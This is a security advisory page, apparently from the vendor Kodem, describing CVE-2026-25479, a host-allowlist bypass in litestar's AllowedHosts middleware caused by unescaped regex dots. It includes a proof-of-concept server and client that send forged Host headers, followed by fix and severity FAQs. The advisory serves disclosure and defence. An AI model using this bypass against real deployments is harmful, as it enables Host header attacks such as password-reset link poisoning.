CVE-2026-25479

AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom

Details

In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.

PoC

Server (poc_allowed_hosts_server.py)

from litestar import Litestar, get
from litestar.middleware.allowed_hosts import AllowedHostsConfig

@get("/")
async def index() -> str:
    return "ok"

config = AllowedHostsConfig(allowed_hosts=["example.com"])
app = Litestar([index], allowed_hosts_config=config)

uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001

Client (poc_allowed_hosts_client.py)

import http.client

def req(host_header: str) -> tuple[int, bytes]:
    c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3)
    c.request("GET", "/", headers={"Host": host_header})
    r = c.getresponse()
    body = r.read()
    c.close()
    return r.status, body

print("evil.com:", *req("evil.com"))
print("exampleXcom:", *req("exampleXcom"))

Expected (vulnerable behavior):
Host: evil.com → 400 invalid host

Host: exampleXcom → 200 ok (bypass)

Type: security control bypass (host allowlist)
Who is impacted: apps relying on AllowedHosts to prevent Host header attacks (cache poisoning, absolute URL construction abuse, password reset link poisoning, etc.). The downstream impact depends on app behavior, but the bypass defeats a core mitigation layer.

CVE-2026-25479 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.20.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-25479? CVE-2026-25479 is a medium-severity security vulnerability in litestar (pip), affecting versions = 2.19.0. It is fixed in 2.20.0.
2. How severe is CVE-2026-25479? CVE-2026-25479 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of litestar are affected by CVE-2026-25479? litestar (pip) versions = 2.19.0 is affected.
4. Is there a fix for CVE-2026-25479? Yes. CVE-2026-25479 is fixed in 2.20.0. Upgrade to this version or later.
5. Is CVE-2026-25479 exploitable, and should I be worried? Whether CVE-2026-25479 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-25479 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-25479? Upgrade litestar to 2.20.0 or later.